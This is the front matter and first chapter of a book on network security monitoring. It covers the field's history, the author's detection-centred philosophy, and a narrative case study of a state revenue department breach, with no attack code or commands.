/usr/sbin/nsm_server_ps-status. . . . . . . /usr/sbin/nsm_server_ps-stop. . . . . . . . /usr/sbin/nsm_server_sensor-add . . . . . /usr/sbin/nsm_server_sensor-del . . . . . /usr/sbin/nsm_server_user-add . . . . . . SO Configuration Files . . . . . . . . . . . . . . . . . . . /etc/nsm/ . . . . . . . . . . . . . . . . . . . . . /etc/nsm/administration.conf. . . . . . . . /etc/nsm/ossec/ . . . . . . . . . . . . . . . . /etc/nsm/pulledpork/. . . . . . . . . . . . . /etc/nsm/rules/ . . . . . . . . . . . . . . . . . /etc/nsm/securityonion/ . . . . . . . . . . . /etc/nsm/securityonion.conf . . . . . . . . /etc/nsm/sensortab . . . . . . . . . . . . . . /etc/nsm/servertab. . . . . . . . . . . . . . . /etc/nsm/templates/ . . . . . . . . . . . . . /etc/nsm/$HOSTNAME-$INTERFACE/ /etc/cron.d/ . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

APPENDIX SO SCRIPTS AND CONFIGURATION

307 307 308 309

311 311 313 313 314 315 316 316 316 316 316 316 317 317 317 319 319 320 320 320 320 320 321 321 321 321 321 321 321 322 322 322 322 322 323 323 323 323 324 324 325 326 326 326 330 Contents in Detail

xv

Bro . . . . . . . . . . . . . . . . . . CapMe . . . . . . . . . . . . . . . ELSA . . . . . . . . . . . . . . . . . Squert . . . . . . . . . . . . . . . . Snorby. . . . . . . . . . . . . . . . Syslog-ng . . . . . . . . . . . . . . /etc/network/interfaces . . . Updating SO . . . . . . . . . . . . . . . . . Updating the SO Distribution Updating MySQL . . . . . . . .

INDEX

xvi

Contents in Detail

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

330 331 331 331 331 331 331 332 332 333

335

About the Author Richard Bejtlich is Chief Security Officer at Mandiant. He was previously Director of Incident Response for General Electric, where he built and led the 40-member GE Computer Incident Response Team (GE-CIRT). Prior to GE, he operated TaoSecurity LLC as an independent consultant, protected national security interests for ManTech Corporation’s Computer Forensics and Intrusion Analysis division, investigated intrusions as part of Foundstone’s incident response team, and monitored client networks for Ball Corporation. Richard began his digital security career as a military intelligence officer in 1997 at the Air Force Computer Emergency Response Team (AFCERT), Air Force Information Warfare Center (AFIWC), and Air Intelligence Agency (AIA). He is a graduate of Harvard University and the United States Air Force Academy. He is the author of The Tao of Network Security Monitoring and Extrusion Detection and co-author of Real Digital Forensics. He blogs (http://taosecurity.blogspot.com/), tweets (@taosecurity), and teaches for Black Hat.

FORE WORD

This may be one of the most important books you ever read. Cybersecurity is both a national and economic security issue. Governments worldwide wage clandestine battles every day in cyberspace. Infrastructure critical to our safety and well-being, like the power grid, is being attacked. Intellectual property, key to our economic prosperity, is being sucked out of this country at a massive rate. Companies large and small are constantly at risk in the digital world. It is this civilian component of the conflict that makes this book so important. To borrow from a cliché: If your organization is not part of the solution, it is part of the problem. By protecting your organization, you prevent it from being used as a stepping-stone to attack your suppliers, your partners, your customers, and other organizations around the world. Furthermore, by detecting attacks, you can help alert others who may have been attacked by the same techniques or the same adversaries.

Few people or organizations are called upon to protect their country from traditional terrorist attacks or military invasions, but that’s not true in cyberspace. Reading this book will not turn your team into the next Cyber Command, or even the next Mandiant, but it will provide you with the knowledge to increase your security posture, protect your organization, and make the world just a little bit safer. In August of 1986, an accounting error of 75 cents led to the birth of the network security monitoring industry. Cliff Stoll, as initially documented in his 1988 paper “Stalking the Wily Hacker” and later in his book The Cuckoo’s Egg, was asked to find the reason behind the discrepancy in his organization’s two accounting systems. What followed was a multiyear odyssey into international espionage during which he exposed techniques used by both attackers and defenders that are still relevant today. One of the sites targeted by Stoll’s attacker was Lawrence Livermore National Laboratory (LLNL). And, as good managers are wont to do, one of the LLNL managers turned a failure into a funding opportunity. In 1988, LLNL secured funding for three cybersecurity efforts: antivirus software, a “Security Profile Inspector” application, and a network-based intrusion detection system called Network Security Monitor, or NSM. Without much experience in these areas, LLNL turned to Professor Karl Levitt at the University of California, Davis, and with LLNL’s initial funding, the UC Davis Computer Security Laboratory was created. As far as I know, LLNL managers coined the term Network Security Monitor, but it was largely left to UC Davis to implement the idea.1 My initial work in the network security monitoring area, documented in our 1990 paper cleverly titled “A Network Security Monitor,” was similar to the more academic work in intrusion detection that relied on statisticalbased anomaly detection. But over time, and with operational experience under our belt, NSM began to look more and more like Cliff Stoll’s activities. In 1988, Stoll wrote, “We knew of researchers developing expert systems that watch for abnormal activity, but we found our methods simpler, cheaper, and perhaps more reliable.”2 Where Stoll attached printers to input lines so he could print users’ activities and see what attackers were actually doing, I created the “transcript” program to create essentially the same output from network packets. As far as NSM is concerned, this proved essential for verifying that suspicious activity was actually an intrusion, and for understanding the nature of the attacker. Where Stoll and his colleague Lloyd Belknap built a logic analyzer to run on a serial line so they could look for a specific user logging in, I added string matching code to our network monitor to look for keywords (attempts to log into default accounts, login failure messages, accessing a password file, and so on).

1. As demonstrated by the title of this book, the terms network security monitor and NSM are now used to describe security-based network monitoring in general. However, for me, in the early 1990s, these terms referred specifically to my project. In this foreword, I use these terms to refer to my project. 2. Communications of the ACM 31, no. 5 (May 1988): 484.

xx

Foreword

Stoll also added automatic response mechanisms that paged him when the attacker logged in, interrupted the connection when the attacker got too close to sensitive information, and cross-correlated logs from other sites—all features that would become common in intrusion detection systems a number of years later. By 1991, the NSM system was proving valuable at actually detecting and analyzing network attacks. I used it regularly at UC Davis, LLNL used it sporadically (privacy concerns were an issue), and soon the Air Force and the Defense Information Systems Agency (DISA) were using it. In some ways, however, operating the NSM system became a bit depressing. I realized how many attackers were on the network, and virtually no one was aware of what was happening. In one instance, DISA was called out to a site because of some suspicious activity coming from one of its dial-up switches. Coincidentally, the organization was ordering a higher capacity system because the current platform was saturated. When DISA hooked up its NSM sensor, it found that roughly 80 percent of the connections were from attackers. The equipment was saturated not by legitimate users, but by attackers. By 1992, the use of the NSM system (and perhaps other network-based monitors) reached the attention of the Department of Justice, but not in a good way. The then Assistant Attorney General Robert S. Mueller III (the Director of the FBI as I write this) sent a letter to James Burrows of the National Institute of Standards and Technology (NIST) explaining that the network monitoring we were doing might be an illegal wiretap, and that by using tools like the NSM system we could face civil and criminal charges. Mueller encouraged NIST to widely circulate this letter. Despite legal concerns, the work in this field continued at breakneck speed. By the summer of 1993, LLNL sent me a letter telling me to stop giving the NSM software away (they wanted to control its distribution), and soon after that, I started reducing my work on NSM development. LLNL renamed its copy of the NSM software the Network Intruder Detector (NID), the Air Force renamed its copy the Automated Security Incident Measurement (ASIM) System, and DISA renamed its system the Joint Intrusion Detection System (JIDS). By the late 1990s, the Air Force had rolled out ASIM to roughly 100 sites worldwide, integrating the feeds with their Common Intrusion Detection Director (CIDD). At the same time, commercial efforts were also springing up. By the late 1990s, Haystack Labs (which had worked with the NSM software produced by our joint DIDS work) released its network-based IDS named Net Stalker, WheelGroup (formed by Air Force personnel who had used ASIM) released NetRanger, ISS released RealSecure, and other companies were rushing into the market as well. By the late 1990s, the open source community was also getting involved with systems like Snort, and by the early 2000s, some groups started setting up entire security operations centers (SOCs) largely built around open source components. I first met Richard Bejtlich (another Air Force alum) as he was setting up just such a system called NETLUMIN for Ball

Foreword

xxi

Aerospace & Technologies Corp. While few may have heard of NETLUMIN, many of its designs and concepts survive and are described in this book. People too often tend to focus on technologies and products, but building an effective incident response capability involves so much more than installing technology. A lot of knowledge has been built up over the last 20 years on how to optimally use these tools. Technologies not deployed correctly can quickly become a burden for those who operate them, or even provide a false sense of security. For example, about a dozen years ago, I was working on a DARPA project, and an integration team was conducting an exercise bringing together numerous cybersecurity tools. The defenders had installed three network-based IDSs watching their border, but the attacker came in via a legitimate SSH connection using a stolen credential from a contractor. None of the IDSs generated a peep during the attack. This initially surprised and disappointed the defenders, but it elegantly pointed out a fundamental limitation of this class of detection technology and deployment strategy against this class of attack. (I’m not sure the program manager found this as much of a wonderful teaching moment as I did.) When working on the Distributed Intrusion Detection System (DIDS) for the Air Force in the early 1990s, one of our program managers described the expected user of the system as “Sergeant Bag-of-Donuts.” There was an expectation that a “magic box” could be deployed on the network or a piece of software on the end systems and that all of the organization’s cybersecurity problems would go away. Security companies’ marketing departments still promote the magic box solution, and too often management and investors buy into it. Products and technologies are not solutions. They are just tools. Defenders (and an organization’s management) need to understand this. No shiny silver bullet will solve the cybersecurity problem. Attacks have life cycles, and different phases of these life cycles leave different evidence in different data sources that are best exposed and understood using different analysis techniques. Building a team (even if it is just a team of one) that understands this and knows how to effectively position the team’s assets (including tools, people, and time) and how to move back and forth between the different data sources and tools is critical to creating an effective incident response capability. One of Richard Bejtlich’s strengths is that he came up through the ranks—from working at AFCERT from 1998 to 2001, to designing and fielding systems, to building a large incident response team at GE, to working as Chief Security Officer at one of the premier information security companies in the world. His varied experience has given him a relatively unique and holistic perspective on the problem of incident response. While this book is not set up as a “lessons learned” book, it clearly distills a lot of his experience with what actually works in practice. As Cliff Stoll’s wily hacker demonstrated, international cyber espionage has been going on for nearly 30 years, but there has been a fundamental shift in the last 5 to 10 years. In the past, hacking was largely seen as a hobby that, for the most part, hackers would grow out of as they secured jobs, got xxii

Foreword

married, and started families. But today, hacking has become a career path. There is money to be made. There are tactical and strategic advantages to be gained. Almost all future conflicts—whether economic, religious, political, or military—will include a cyber component. The more defenders we have, and the more effectively we use them, the better off we will all be. This book will help with that noble effort. Todd Heberlein Developer of the Network Security Monitor System Davis, CA June 2013

Foreword

xxiii

PREFACE Network security monitoring (NSM) is the collection, analysis, and escalation of indications and warnings (I&W) to detect and respond to intrusions. —Richard Bejtlich and Bamm Visscher 1

Welcome to The Practice of Network Security Monitoring. The goal of this book is to help you start detecting and responding to digital intrusions using networkcentric operations, tools, and techniques. I have attempted to keep the background and theory to a minimum and to write with results in mind. I hope this book will change the way you, or those you seek to influence, approach computer security. My focus is not on the planning and defense phases of the security cycle but on the actions to take when handling systems that are already compromised or that are on the verge of being compromised.

1. SearchSecurity webcast, December 4, 2002 (slides archived at http://www.taosecurity.com/ bejtlich_visscher_techtarget_webcast_4_dec_02.ppt).

This book is a sequel and complement to my previous works on NSM: •

•

•

The Tao of Network Security Monitoring: Beyond Intrusion Detection (AddisonWesley, 2005; 832 pages). The Tao provides background, theory, history, and case studies to enrich your NSM operation. Extrusion Detection: Security Monitoring for Internal Intrusions (AddisonWesley, 2006; 416 pages). After reading The Tao, Extrusion Detection will expand NSM concepts to architecture, defense against client-side attacks, and network forensics. Real Digital Forensics: Computer Security and Incident Response with Keith J. Jones and Curtis W. Rose (Addison-Wesley, 2006; 688 pages). Last, RDF shows how to integrate NSM with host- and memory-centric forensics, allowing readers to investigate computer crime evidence on the bundled DVD.

This book will jump-start your NSM operation, and my approach has survived the test of time. In 2004, my first book contained the core of my detection-centered philosophy: Prevention eventually fails. Some readers questioned that conclusion. They thought it was possible to prevent all intrusions if the “right” combination of defenses, software security, or network architecture was applied. Detection was not needed, they said, if you could stop attackers from gaining unauthorized access to networks. Those who still believe this philosophy are likely suffering the sort of long-term, systematic compromise that we read about in the media every week. Nearly a decade later, the security industry and wider information technology (IT) community are beginning to understand that determined intruders will always find a way to compromise their targets. Rather than just trying to stop intruders, mature organizations now seek to rapidly detect attackers, efficiently respond by scoping the extent of incidents, and thoroughly contain intruders to limit the damage they might cause. It’s become smarter to operate as though your enterprise is always compromised. Incident response is no longer an infrequent, ad-hoc affair. Rather, incident response should be a continuous business process with defined metrics and objectives. This book will provide a set of data, tools, and processes to use the network to your advantage and to transform your security operation to cope with the reality of constant compromise. If you don’t know how many intrusions afflicted your organization last quarter or how quickly you detected and contained those intrusions, this book will show you how to perform those activities and track those two key metrics.

Audience This book is for security professionals unfamiliar with NSM, as well as more senior incident handlers, architects, and engineers who need to teach NSM to managers, junior analysts, or others who may be technically less adept. I do not expect seasoned NSM practitioners to learn any astounding new technical details from this book, but I believe that few security professionals xxvi

Preface

today have learned how to properly perform NSM. Those of you frustrated that your intrusion detection or prevention system (IDS/IPS) provides only alerts will find NSM to be a pleasant experience!

Prerequisites I try to avoid duplicating material that other authors cover well. I assume you understand the basic use of the Linux and Windows operating systems, TCP/IP networking, and the essentials of network attack and defense. If you have gaps in your knowledge of either TCP/IP or network attack and defense, consider these books: •

•

•

The Internet and Its Protocols: A Comparative Approach by Adrian Farrel (Morgan Kaufmann, 2004; 840 pages). Farrel’s book is not the newest, but it covers a wide range of protocols, including application protocols and IPv6, with bit-level diagrams for each and engaging prose. Wireshark Network Analysis, 2nd Edition, by Laura Chappell and Gerald Combs (Laura Chappell University, 2012; 986 pages). All network and security analysts need to understand and use Wireshark, and this book uses descriptions, screenshots, user-supplied case studies, review questions (with answers), “practice what you’ve learned” sections, and dozens of network traces (available online). Hacking Exposed, 7th Edition, by Stuart McClure, et al (McGraw-Hill Osborne Media, 2012; 768 pages). Hacking Exposed remains the single best generic volume on attacking and defending IT assets, thanks to its novel approach: (1) Introduce a technology, (2) describe how to break it, and (3) explain how to fix it.

Readers comfortable with the core concepts from these books may want to consider the following for deeper reference: •

•

Network Forensics: Tracking Hackers through Cyberspace by Sherri Davidoff and Jonathan Ham (Addison-Wesley, 2012; 592 pages). Network Forensics takes an evidence-centric approach, using network traffic (both wired and wireless), network devices (IDS/IPS, switches, routers, firewalls, and web proxies), computers (system logs), and applications to investigate incidents. Metasploit: The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni (No Starch Press, 2011; 328 pages). Metasploit is an open source platform to exploit target applications and systems, and this book explains how to use it effectively.

A Note on Software and Protocols The examples in this book rely on software found in the Security Onion (SO) distribution (http://securityonion.blogspot.com/). Doug Burks created SO to make it easy for administrators and analysts to conduct NSM using tools Preface

xxvii

like Snort, Suricata, Bro, Sguil, Squert, Snorby, Xplico, and NetworkMiner. SO is free and can be installed via a bootable Xubuntu ISO image or by adding the SO Personal Package Archive (PPA) to your favorite flavor of Ubuntu and installing the packages from there. Although FreeBSD is still a powerful operating system, Doug’s work on SO, with contributions from Scott Runnels, has made Ubuntu Linux variants my first choice for NSM appliances. Rather than present tools independently, I’ve chosen to primarily rely on software found in SO, and all of the examples in the main text use open source tools to illustrate attack and defense. While commercial tools offer many helpful features, paid support, and a vendor to blame for problems, I recommend readers consider demonstrating capabilities with open source software first. After all, few organizations begin NSM operations with substantial budgets for commercial software. This book focuses on IPv4 traffic. Some tools packaged with SO support IPv6, but some do not. When IPv6 becomes more widely used in production networks, I expect more tools in SO to integrate IPv6 capabilities. Therefore, future edition of this book may address IPv6.

Scope This book consists of the following parts and chapters. Part I, “Getting Started,” introduces NSM and how to think about sensor placement. •

•

Chapter 1, “Network Security Monitoring Rationale,” explains why NSM matters, to help you gain the support needed to deploy NSM in your environment. Chapter 2, “Collecting Network Traffic: Access, Storage, and Management,” addresses the challenges and solutions surrounding physical access to network traffic.

Part II, “Security Onion Deployment,” focuses on installing SO on hardware and configuring SO effectively. •

• •

Chapter 3, “Stand-alone NSM Deployment and Installation,” introduces SO and explains how to install the software on spare hardware to gain initial NSM capability at low or no cost. Chapter 4, “Distributed Deployment,” extends Chapter 3 to describe how to install a dispersed SO system. Chapter 5, “SO Platform Housekeeping,” discusses maintenance activities for keeping your SO installation running smoothly.

Part III, “Tools,” describes key software shipped with SO and how to use these applications. •

xxviii

Preface

Chapter 6, “Command Line Packet Analysis Tools,” explains the key features of Tcpdump, Tshark, Dumpcap, and Argus in SO.

• •

Chapter 7, “Graphical Packet Analysis Tools,” adds GUI-based software to the mix, describing Wireshark, Xplico, and NetworkMiner. Chapter 8, “NSM Consoles,” shows how NSM suites, like Sguil, Squert, Snorby, and ELSA, enable detection and response workflows.

Part IV, “NSM in Action,” discusses how to use NSM processes and data to detect and respond to intrusions. • •

• • •

Chapter 9, “NSM Operations,” shares my experience building and leading a global computer incident response team (CIRT). Chapter 10, “Server-side Compromise,” is the first NSM case study, wherein you’ll learn how to apply NSM principles to identify and validate the compromise of an Internet-facing application. Chapter 11, “Client-side Compromise,” is the second NSM case study, offering an example of a user being victimized by a client-side attack. Chapter 12, “Extending SO,” concludes the main text with coverage of tools and techniques to expand SO’s capabilities. Chapter 13, “Proxies and Checksums,” concludes the main text by addressing two challenges to conducting NSM.

The Conclusion offers a few thoughts on the future of NSM, especially with respect to cloud environments. The Appendix, “SO Scripts and Configuration,” includes information from SO developer Doug Burks on core SO configuration files and control scripts.

Acknowledgments First, I must thank my lovely wife, Amy, for supporting my work, including the articles, blog entries, and other output that started before we were married. Since publishing my first book in mid-2004, we’ve welcomed two daughters to our family. Elise and Vivian, all your writing and creativity inspired me to start this project. I thank God every day for all three of you. My parents and sisters have never stopped supporting me, and I also appreciate the wisdom offered by Michael Macaris, my first kung fu instructor. In addition to the NSM gurus I recognized in my first book, I must add the members of the General Electric Computer Incident Response Team (GE-CIRT) who joined me for an incredible security journey from 2007 through 2011. We had the best NSM operation on the planet. Bamm Visscher, David Bianco, Ken Bradley, Tyler Hudak, Tim Crothers, Aaron Wade, Sandy Selby, Brad Nottle, and the 30-plus other GE-CIRT members— it was a pleasure working with all of you. Thanks also to Grady Summers, our then Chief Information Security Officer, for enabling the creation of our team and to Jennifer Ayers and Maurice Hampton for enabling our quixotic vision. I appreciate the support of my colleagues at Mandiant, including Chief Executive Officer Kevin Mandia and President Travis Reese, who Preface

xxix

hired me in early 2011 but first showed faith in me at Foundstone in 2002 and ManTech in 2004, respectively. Thank you to the Mandiant marketing team and our partners for providing a platform and opportunities to share our message with the world. To the hardy souls defending Mandiant itself at the time of this writing—Doug Burks, Dani Jackson, Derek Coulson, and Scott Runnels—kudos for your devotion, professionalism, and outstanding work ethic. Special thanks go to Doug Burks and Scott Runnels for their work on the Security Onion project, which puts powerful NSM tools in the hands of anyone who wishes to try them. I also appreciate the work of all the open source software developers whose tools appear in Security Onion: You help make all our networks more secure. I appreciate those of you who have challenged my understanding of NSM through conversations, novel projects, and collaboration, including Doug Steelman, Jason Meller, Dustin Webber, and Seth Hall. Those of you who have read my blog (http://taosecurity.blogspot.com/) since 2003 or my Twitter feed (http://twitter.com/taosecurity/) since 2008 have encouraged my writing. Thank you also to the security professionals at Black Hat with whom I’ve taught classes since 2002: former leaders Jeff Moss and Ping Look, and current leader Trey Ford. Steve Andres and Joe Klein deserve special mention for helping me teach whenever my student count became too high to handle alone! Finally, thank you to the incredible team that helped me create this book. First, from No Starch Press: Bill Pollock, founder; Serena Yang, production manager; and Jessica Miller, publicist. Marilyn Smith and Julianne Jigour copyedited this book, and Tina Salameh sketched the great cover. Susan Glinert Stevens worked as compositor, and Ward Webber performed proofreading. My tech editors—David Bianco, Doug Burks, and Brad Shoop—offered peerless commentary. Brad’s wife, Renee Shoop, volunteered another level of copyediting. Doug Burks, Scott Runnels, Martin Holste, and Brad Shoop contributed their expertise to the text as well. Last but not least, Todd Heberlein wrote the foreword. Thank you to Todd for writing the Network Security Monitor software that brought the NSM concept to life in the early 1990s.

xxx

Preface

Disclaimer This is a book about network monitoring—an act of collecting traffic thatmay violate local, state, and national laws if done inappropriately. The tools and techniques explained in this book should be tested in a laboratory environment, apart from production networks. None of the tools or techniques discussed in this book should be tested with network devices outside the realm of your responsibility or authority. Any and all recommendations regarding the process of network monitoring that you find in this book should not be construed as legal advice.

PART I GE T TING S TA RTE D

1 NE T WORK SECURIT Y MONITOR ING R AT ION A LE

This chapter introduces the principles of network security monitoring (NSM), which is the collection, analysis, and escalation of indications and warnings to detect and respond to intrusions. NSM is a way to find intruders on your network and do something about them before they damage your enterprise. NSM began as an informal discipline with Todd Heberlein’s development of the Network Security Monitor in 1988. The Network Security Monitor was the first intrusion detection system to use network traffic as its main source of data for generating alerts, and the Air Force Computer Emergency Response Team (AFCERT) was one of the first organizations to informally follow NSM principles. In 1993, the AFCERT worked with Heberlein to deploy a version of the Network Security Monitor as the Automated Security Incident Measurement (ASIM) system. I joined the AFCERT in 1998, where, together with incident handler Bamm Visscher, I codified the definition of NSM

for a SearchSecurity webcast in late 2002. I first published the definition in book form as a case study in Hacking Exposed, Fourth Edition.1 My goal since then has been to advocate NSM as a strategic and tactical operation to stop intruders before they make your organization the headline in tomorrow’s newspaper. The point of this book is to provide readers with the skills, tools, and processes to at least begin the journey of discovering adversaries. We need to recognize that incident response, broadly defined, should be a continuous business process, not an ad hoc, intermittent, information technology (IT)–centric activity. While NSM is not the only, or perhaps even the most comprehensive, answer to the problem of detecting, responding to, and containing intruders, it is one of the best ways to mature from zero defenses to some defensive capability. Creating an initial operational capability builds momentum for an organization’s intrusion responders, demonstrating that a company can find intruders and can do something to frustrate their mission.

An Introduction to NSM To counter digital threats, security-conscious organizations build computer incident response teams (CIRTs). These units may consist of a single individual, a small group, or dozens of security professionals. If no one in your organization is responsible for handling computer intrusions, there’s a good chance you’ll suffer a breach in the near future. Investing in at least one security professional is well worth the salary you will pay, regardless of the size of your organization. This book assumes that your organization has a CIRT of at least one person, sufficiently motivated and supplied with resources to do something about intruders in your enterprise. If you’re the only person responsible for security in your organization, congratulations! You are officially the CIRT. Thankfully, it’s not costly or time-consuming to start making life difficult for intruders, and NSM is a powerful way to begin. When CIRTs conduct operations using NSM principles, they benefit from the following capabilities: • •

• •

CIRTs collect a rich amount of network-derived data, likely exceeding the sorts of data collected by traditional security systems. CIRTs analyze this data to find compromised assets (such as laptops, personal computers, servers, and so on), and then relay that knowledge to asset owners. CIRTs and the owners of the computing equipment collaborate to contain and frustrate the adversary. CIRTs and computer owners use NSM data for damage assessment, assessing the cost and cause of an incident.

1. Stuart McClure, Joel Scambray, and George Kurtz, Hacking Exposed: Network Security Secrets & Solutions, Fourth Edition (McGraw-Hill Osborne Media, 2003).

4

Chapter 1

Consider the role of NSM in an enterprise security process. For example, Figure 1-1 shows how different security capabilities relate to one another, but not necessarily how they compare against an intruder’s process.

IT mainly responsible, security assists Plan Prepare Assess

Resist Filter Protect

Resolve

Does NSM Prevent Intrusions? Escalate NSM does not involve preventCollect Analyze ing intrusions because prevention eventually fails. One version of this philosophy is that security Respond Detect breaches are inevitable. In fact, any networked organization is Security mainly responsible, IT assists likely to suffer either sporadic or constant compromise. (Your Figure 1-1: Enterprise security cycle own experience may well confirm this hard-won wisdom.) But if NSM doesn’t stop adversaries, what’s the point? Here’s the underappreciated good news: Change the way you look at intrusions, and defenders can ultimately frustrate intruders. In other words, determined adversaries will inevitably breach your defenses, but they may not achieve their objective. Time is the key factor in this strategy2 because intruders rarely execute their entire mission in the course of a few minutes, or even hours. In fact, the most sophisticated intruders seek to gain persistence in target networks— that is, hang around for months or years at a time. Even less advanced adversaries take minutes, hours, or even days to achieve their goals. The point is that this window of time, from initial unauthorized access to ultimate mission accomplishment, gives defenders an opportunity to detect, respond to, and contain intruders before they can finish the job they came to do. After all, if adversaries gain unauthorized access to an organization’s computers, but can’t get the data they need before defenders remove them, then what did they really achieve? I hope that you’re excited by the thought that, yes, adversaries can compromise systems, but CIRTs can “win” if they detect, respond to, and contain intruders before they accomplish their mission. But if you can detect it, why can’t you prevent it? The simple answer is that the systems and processes designed to protect us aren’t perfect. Prevention mechanisms can block some malicious activity, but it’s increasingly difficult for organizations to defend themselves as adversaries adopt more sophisticated tactics. A team can frustrate or resist intrusions, but time and knowledge frequently become the limiting factors.

2. Security pioneer Winn Schwartau published Time-Based Security in 1999. I endorsed the centrality of time as presented in his book in 2005, in my post “Where in the World Is Winn Schwartau?” (http://taosecurity.blogspot.com/2005/04/where-in-world-is-winn-schwartau-if.html). Network Security Monitoring Rationale

5

THE IMPOR TA NCE OF T IME: C A SE S T UDY One real-world example shows the importance of time when defending against an intruder. In November 2012, the governor of South Carolina published the public version of a Mandiant incident response report.* Mandiant is a security company that specializes in services and software for incident detection and response. The governor hired Mandiant to assist her state with this case. Earlier that year, an attacker compromised a database operated by the state’s Department of Revenue (DoR). The report provided details on the incident, but the following abbreviated timeline helps emphasize the importance of time. This case is based exclusively upon the details in the public Mandiant report. August 13, 2012 An intruder sends a malicious (phishing) email message to multiple DoR employees. At least one employee clicks a link in the message, unwittingly executing malware and becoming compromised in the process. Available evidence indicates that the malware stole the user’s username and password. August 27, 2012 The attacker logs in to a Citrix remote access service using

stolen DoR user credentials. The attacker uses the Citrix portal to log in to the user’s workstation, and then leverages the user’s access rights to access other DoR systems and databases. August 29–September 11, 2012 The attacker interacts with a variety of DoR sys-

tems, including domain controllers, web servers, and user systems. He obtains passwords for all Windows user accounts and installs malicious software on many systems. Crucially, he manages to access a server housing DoR payment maintenance information. Notice that four weeks elapsed since the initial compromise via a phishing email message on August 13, 2012. The intruder has accessed multiple systems, installed malicious software, and conducted reconnaissance for other targets, but thus far has not stolen any data. The timeline continues: September 12, 2012 The attacker copies database backup files to a staging

directory. September 13 and 14, 2012 The attacker compresses the database backup files

into 14 (of the 15 total) encrypted 7-Zip archives. The attacker then moves the 7-Zip archives from the database server to another server and sends the data to a system on the Internet. Finally, the attacker deletes the backup files and 7-Zip archives. (Mandiant did not report the amount of time needed by the intruder to copy the files from the staging server to the Internet.)

* South Carolina Department of Revenue and Mandiant, Public Incident Response Report (November 20, 2012) (http://governor.sc.gov/Documents/MANDIANT%20Public%20IR%20 Report%20-%20Department%20of%20Revenue%20-%2011%2020%202012.pdf).

6

Chapter 1

From September 12 through 14, the intruder accomplishes his mission. After spending one day preparing to steal data, the intruder spends the next two days removing it. September 15, 2012 The attacker interacts with 10 systems using a compromised account and performs reconnaissance.

There is no evidence of attacker activity, but on October 10, 2012, a law-enforcement agency contacts the DoR with evidence that the personally identifiable information (PII) of three individuals has been stolen. The DoR reviews the data and determines that it would have been stored within its databases. On October 12, 2012, the DoR contracts with Mandiant for assistance with incident response.

September 16–October 16, 2012

About four weeks pass after the intruder steals data, and then the state learns of the intrusion from a third party and engages a professional incident response team. This is not the end of the story, however. October 17, 2012 The attacker checks connectivity to a server using the backdoor installed on September 1, 2012. There is no evidence of additional activity. October 19 and 20, 2012 The DoR attempts to remedy the attack based on recommendations from Mandiant. The goal of remediation is to remove the attacker’s access and to detect any new evidence of compromise.

There is no evidence of malicious activity following remediation. The DoR publishes the Mandiant report on this incident.

October 21–November 20, 2012

Mandiant consultants, state personnel, and law enforcement were finally able to contain the intruder. Figure 1-2 summarizes the incident. The main takeaway from this case study is that the initial intrusion is not the end of the security process; it’s just the beginning. If at any time during the first four weeks of this attack the DoR had been able to contain the attacker, he would have failed. Despite losing control of multiple systems, the DoR would have prevented the theft of personal information, saving the state at least $12 million in the process.** It’s easy to dismiss a single incident as one data point, but recent statistics corroborate key elements of the case study.*** For one, the median time from the start of an intrusion to incident response is more than 240 days; that is, in most cases, victims stay compromised for a long time before anyone notices. Only one-third of organizations who contacted Mandiant for help identified the intrusions themselves.

